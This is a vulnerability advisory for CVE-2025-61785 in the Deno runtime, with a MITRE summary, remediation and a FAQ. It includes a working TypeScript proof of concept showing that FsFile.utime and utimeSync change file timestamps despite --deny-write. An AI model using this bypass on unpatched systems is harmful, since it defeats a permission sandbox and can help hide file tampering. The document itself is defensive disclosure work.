CVE-2025-61785: Deno's --deny-write check does not prevent permission bypass
Summary
Deno.FsFile.prototype.utime and Deno.FsFile.prototype.utimeSync are not limited by the permission model check --deny-write=./.
It's possible to change to change the access (atime) and modification (mtime) times on the file stream resource even when the file is opened with read only permission (and write: false) and file write operations are not allowed (the script is executed with --deny-write=./).
Similar APIs like Deno.utime and Deno.utimeSync require allow-write permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (atime) and modification (mtime) times, and thus bypass the permission model.
PoC
Setup: deno --version deno 2.4.2 (stable, release, x8664-unknown-linux-gnu) v8 13.7.152.14-rusty typescript 5.8.3
touch test.txt
js // touch test.txt // https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utime // deno run --allow-read=./ --deny-write=./ pocfile.utime.ts 1 async function poc1(){ using file = await Deno.open("./test.txt", { read: true, write: false});
const fileInfoBefore = await file.stat(); await file.utime(new Date("2000-01-01"), new Date("2000-01-01")); const fileInfoAfter = await file.stat(); console.log(BEFORE (utime)) console.log(new Date(fileInfoBefore.mtime).getFullYear()) console.log(new Date(fileInfoBefore.atime).getFullYear()) console.log(AFTER (utime)) console.log(new Date(fileInfoAfter.mtime).getFullYear()) console.log(new Date(fileInfoAfter.atime).getFullYear()) }
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utimeSync // deno run --allow-read=./ --deny-write=./ pocfile.utime.ts 2 function poc2(){ using file = Deno.openSync("./test.txt", { read: true, write: false});
const fileInfoBefore = file.statSync(); file.utimeSync(new Date("2001-01-01"), new Date("2001-01-01")); const fileInfoAfter = file.statSync(); console.log(BEFORE (utimeSync)) console.log(new Date(fileInfoBefore.mtime).getFullYear()) console.log(new Date(fileInfoBefore.atime).getFullYear()) console.log(AFTER (utimeSync)) console.log(new Date(fileInfoAfter.mtime).getFullYear()) console.log(new Date(fileInfoAfter.atime).getFullYear()) }
// https://docs.deno.com/api/deno/~/Deno.utime // deno run --allow-read=./ --deny-write=./ pocfile.utime.ts 3 async function poc3(){ // not executed await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01")); }
// https://docs.deno.com/api/deno/~/Deno.utimeSync // deno run --allow-read=./ --deny-write=./ pocfile.utime.ts 4 function poc4(){ // not executed Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01")); }
async function main(){ const poc = Deno.args[0] || 1;
const status = await Deno.permissions.query({ name: "write", path: "./" }); console.log(status); switch (poc) { case "1": poc1() break; case "2": poc2() break; case "3": poc3() break; case "4": poc4() break; default: poc1() } }
main()
Output: - deno run --allow-read=./ --deny-write=./ pocfile.utime.ts 1 PermissionStatus { state: "denied", onchange: null } BEFORE (utime) 2025 2025 AFTER (utime) 2000 2000
- deno run --allow-read=./ --deny-write=./ pocfile.utime.ts 2 PermissionStatus { state: "denied", onchange: null } BEFORE (utimeSync) 2000 2000 AFTER (utimeSync) 2001 2001
- deno run --allow-read=./ --deny-write=./ pocfile.utime.ts 3 PermissionStatus { state: "denied", onchange: null } error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01")); ^ ...
- deno run --allow-read=./ --deny-write=./ pocfile.utime.ts 4 PermissionStatus { state: "denied", onchange: null } error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01")); ^ ...
Impact
Permission model bypass
Other sources
Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, Deno.FsFile.prototype.utime and Deno.FsFile.prototype.utimeSync are not limited by the permission model check --deny-write=./. It's possible to change to change the access (atime) and modification (mtime) times on the file stream resource even when the file is opened with read only permission (and write: false) and file write operations are not allowed (the script is executed with --deny-write=./). Similar APIs like Deno.utime and Deno.utimeSync require allow-write permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (atime) and modification (mtime) times, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.
— MITRE
Affected Software
Remediation
Patch Available
Event History
Frequently Asked Questions
What is the severity of CVE-2025-61785?
CVE-2025-61785 has been classified as a medium severity vulnerability.
How do I fix CVE-2025-61785?
To fix CVE-2025-61785, upgrade to Deno version 2.5.3 or later.
What are the main effects of CVE-2025-61785?
CVE-2025-61785 allows users to modify file access and modification times without proper permission checks.
Who is affected by CVE-2025-61785?
CVE-2025-61785 affects users of Deno versions prior to 2.5.3.
What functions are involved in CVE-2025-61785?
CVE-2025-61785 involves the functions `Deno.FsFile.prototype.utime` and `Deno.FsFile.prototype.utimeSync`.